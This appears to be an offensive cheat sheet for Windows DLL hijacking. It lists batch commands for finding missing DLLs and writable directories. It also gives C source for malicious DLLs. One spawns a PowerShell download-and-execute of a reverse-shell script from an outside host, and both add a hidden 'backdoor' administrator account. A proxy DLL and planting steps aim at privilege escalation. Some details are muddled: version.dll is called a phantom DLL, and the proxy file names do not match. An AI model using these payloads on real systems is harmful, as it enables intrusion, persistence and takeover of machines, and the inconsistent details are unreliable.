DLL Hijacking

rem 1. Launch Process Monitor (procmon.exe) as Administrator is ideal
rem 2. Set filters:
rem    - Process Name contains "vulnerable_app.exe"
rem    - Result is "NAME NOT FOUND"
rem    - Path ends with ".dll"
rem 3. Start the vulnerable application
rem 4. Look for DLLs that are searched but not found

rem Focus on libraries that are:
rem - Searched in writable directories (user profile, app directory)
rem - Not in System32 but in application-specific locations

rem Check PATH for writable directories
echo %PATH%
rem For each directory in PATH:
icacls "C:\SomeDir"

rem Check application directories for DLL loading
dir "C:\Program Files\VulnApp\*.dll"

rem Check writable directories
icacls "C:\Program Files\VulnApp" | findstr /i "W F M"

rem Common phantom DLL targets:
rem - Windows version-specific DLLs: version.dll, userenv.dll
rem - API set forwarders that don't exist as files

rem Check if a phantom DLL exists by searching for it in System32
dir C:\Windows\System32\version.dll
rem If not found, any application that loads it from a writable location is vulnerable

// exploit.c -- compile with: x86_64-w64-mingw32-gcc -shared -o exploit.dll exploit.c
#include <windows.h>

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Spawn reverse shell
        system("powershell -c \"IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/rev.ps1')\"");

        // Or add admin user
        system("cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add");

        // Or spawn cmd as the current process user
        system("cmd.exe");
    }
    return TRUE;
}

// proxy.c -- proxies calls to the original DLL renamed to exploit_orig.dll
// Compile: x86_64-w64-mingw32-gcc -shared -o exploit.dll proxy.c

#include <windows.h>

// Declare forwarded exports to the original DLL
#pragma comment(linker, "/export:OriginalFunction1=exploit_orig.OriginalFunction1,@1")
#pragma comment(linker, "/export:OriginalFunction2=exploit_orig.OriginalFunction2,@2")

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Malicious code here
        WinExec("cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add", 0);
    }
    return TRUE;
}

// On target:
// 1. Rename original DLL: ren exploit.dll exploit_orig.dll
// 2. Copy proxy DLL: copy proxy.dll exploit.dll
// 3. Restart the service/application

rem Check if a DLL-loading application searches PATH
rem If C:\Users\Public\Documents is in PATH and writable:
icacls "C:\Users\Public\Documents" | findstr /i "W"

rem Place malicious DLL there
copy exploit.dll "C:\Users\Public\Documents\version.dll"

rem When a privileged application that loads version.dll runs,
rem it will find our malicious version before the real one

rem These DLLs are commonly searched but missing in Windows applications:
version.dll     # Many applications load this but it may not exist in all Windows versions
userenv.dll     # Legacy applications may search for this
propsys.dll     # Used by some installers
iertutil.dll    # Internet Explorer utilities
cscapi.dll      # Windows client-side caching
mpr.dll         # Multiple Provider Router

:: KnownDlls — These DLLs CANNOT be hijacked (protected by the OS)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
:: Any DLL listed here is loaded from System32 regardless of search order
:: Always check KnownDlls before attempting DLL hijacking
:: Common protected DLLs: kernel32.dll, ntdll.dll, advapi32.dll, user32.dll

:: Phantom DLL hollowing — Load a legitimate DLL name that doesn't exist
:: Some programs reference DLLs that aren't present on the system
:: Place a malicious DLL with the missing name in the search path
:: Check for missing DLLs with Process Monitor (Sysinternals)
:: Filter: Process Name = <target.exe>, Result = NAME NOT FOUND